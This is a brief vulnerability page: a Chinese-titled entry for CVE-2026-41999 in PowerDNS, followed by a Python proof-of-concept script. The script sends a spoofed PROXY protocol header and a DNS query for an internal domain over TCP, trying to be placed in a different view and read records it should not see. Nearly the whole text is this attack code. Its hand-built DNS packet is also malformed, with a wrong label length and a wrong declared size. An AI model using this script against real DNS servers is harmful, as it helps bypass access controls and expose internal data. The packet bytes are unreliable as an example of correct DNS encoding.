CVE-2026-41999 PowerDNS TCP代理视图错误行为漏洞

# Conceptual Proof of Concept for CVE-2026-41999 # This script demonstrates sending a TCP PROXY header to trigger the view logic issue. import socket def send_proxy_poc(target_ip, target_port): # PROXY protocol line: PROXY TCP4 <src_ip> <dst_ip> <src_port> <dst_port> # Spoofing source IP to potentially match a different View proxy_header = b"PROXY TCP4 10.0.0.1 192.168.1.1 12345 53\r\n" # Standard DNS Query for internal domain (example) dns_query = b"\x00\x1c\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06\x73\x65\x63\x72\x65\x74\x05\x69\x6e\x74\x65\x72\x6e\x61\x6c\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" payload = proxy_header + dns_query try: print(f"[*] Sending payload to {target_ip}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.sendall(payload) response = s.recv(1024) s.close() print("[+] Response received:") print(response) except Exception as e: print(f"[-] Error: {e}") # Usage (replace with actual target details) # send_proxy_poc("127.0.0.1", 5300)